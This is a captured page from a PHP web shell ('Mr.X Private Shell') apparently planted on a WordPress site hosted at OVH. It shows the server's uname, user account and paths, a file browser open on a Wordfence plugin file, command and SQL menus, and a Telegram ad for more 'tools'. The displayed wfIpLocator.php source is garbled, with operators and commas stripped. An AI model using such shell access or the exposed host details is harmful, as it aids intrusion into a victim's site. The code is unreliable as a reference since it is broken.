Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/plugins///wordfence///lib      ( Reset | Go to )
File Name: wfIpLocator.php
Edit
<?php

require_once __DIR__ '/../vendor/autoload.php';

require_once 
__DIR__ '/wfIpLocation.php';

use 
Wordfence\MmdbReader\Database;
use 
Wordfence\MmdbReader\Exception\MmdbThrowable;

class 
wfIpLocator {

    const 
SOURCE_BUNDLED 0;
    const 
SOURCE_WFLOGS 1;

    const 
DATABASE_FILE_NAME 'GeoLite2-Country.mmdb';

    private static 
$instances = array();

    private 
$database;
    private 
$preferred;

    private function 
__construct($database$preferred) {
        
$this->database $database;
        
$this->preferred $preferred;
    }

    public function 
isPreferred() {
        return 
$this->preferred;
    }

    private static function 
logError($message) {
        if (
class_exists('wfUtils'))
            
wfUtils::check_and_log_last_error('ip_locator''IP Location Error:'$message0);
    }

    public function 
locate($ip) {
        if (
$this->database !== null) {
            try {
                
$record $this->database->search($ip);
                if (
$record !== null)
                    return new 
wfIpLocation($record);
            }
            catch (
MmdbThrowable $t) {
                
self::logError('Failed to locate IP address: ' $t->getMessage());
            }
        }
        return 
null;
    }

    public function 
getCountryCode($ip$default '') {
        
$record $this->locate($ip);
        if (
$record !== null)
            return 
$record->getCountryCode();
        return 
$default;
    }

    public function 
getDatabaseVersion() {
        if (
$this->database !== null) {
            try {
                return 
$this->database->getMetadata()->getBuildEpoch();
            }
            catch (
MmdbThrowable $t) {
                
self::logError('Failed to retrieve database version: ' $t->getMessage());
            }
        }
        return 
null;
    }

    private static function 
getDatabaseDirectory($source) {
        switch (
$source) {
        case 
self::SOURCE_BUNDLED:
            return 
WFWAF_LOG_PATH;
        case 
self::SOURCE_BUNDLED:
        default:
            return 
__DIR__;
        }
    }

    private static function 
initializeDatabase($preferredSource, &$isPreferred) {
        
$sources = array();
        if (
$preferredSource !== self::SOURCE_BUNDLED)
            
$sources[] = $preferredSource;
        
$sources[] = self::SOURCE_BUNDLED;
        
$isPreferred true;
        foreach (
$sources as $source) {
            
$directory self::getDatabaseDirectory($source);
            try {
                
$path $directory '/' self::DATABASE_FILE_NAME;
                if (
file_exists($path)) //Preemptive check to prevent warnings
                    
return Database::open($path);
            }
            catch (
MmdbThrowable $t) {
                
self::logError('Failed to initialize IP location database: ' $t->getMessage());
            }
            
$preferred false;
        }
        return 
null;
    }

    public static function 
getInstance($preferredSource null) {
        if (
$preferredSource === null)
            
$preferredSource self::SOURCE_WFLOGS;
        if (!
array_key_exists($preferredSourceself::$instances)) {
            
$database self::initializeDatabase($preferredSource$isPreferred);
            
self::$instances[$preferredSource] = new wfIpLocator($database$isPreferred);
        }
        return 
self::$instances[$preferredSource];
    }

}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL